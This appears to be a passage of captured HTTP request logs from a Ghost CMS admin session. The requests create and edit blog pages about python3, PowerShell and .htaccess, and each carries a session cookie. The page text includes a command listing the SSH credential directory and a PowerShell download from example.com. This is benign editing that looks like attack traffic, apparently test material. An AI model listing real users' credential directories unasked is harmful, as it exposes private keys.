{"method": "GET", "target": "/ghost/assets/Edge-BPZxvKka.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Dawn-aeEVEPie.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Ease-B4NuA7sj.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Headline-BFXOunIb.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Ruby-DVEXVMTx.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/London-CSCVHwS0.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Journal-D3UW9T2b.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/footer-marketplace-bg-cXGt4GLt.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/slugs/post/about-python3-powershell-htaccess/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/pages/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 486", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"authors\":[{\"id\":\"6af4570fd281b00001a59891\"}]}]}"}
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3526", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\Line truncated
{"method": "GET", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3980", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3984", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5659a6dde5d0001d3d72e/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 713", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AoIVlIxucaQas8uV_V0tI2mNyxYEoOjBC.ajmnN2F%2BNe0IFunZWICXaJjQpUSV75M6lrkP5I0svVs"], "body": "{\"posts\":[{\"title\":\"Getting started with PowerShell\",\"slug\":\"getting-started-with-powershell\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"First published on the old blog.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"canonical_url\":\"https://example.com/blog/powershell/\",\"id\":\"6af5659a6dde5d0001d3d72e\",\"updated_at\":\"2026-11-12T07:07:12.000Z\"}]}"}
{"method": "PUT", "target": "/ghost/api/admin/pages/6af565b96dde5d0001d3d735/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 701", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AoIVlIxucaQas8uV_V0tI2mNyxYEoOjBC.ajmnN2F%2BNe0IFunZWICXaJjQpUSV75M6lrkP5I0svVs"], "body": "{\"pages\":[{\"title\":\"Rewrite rules in 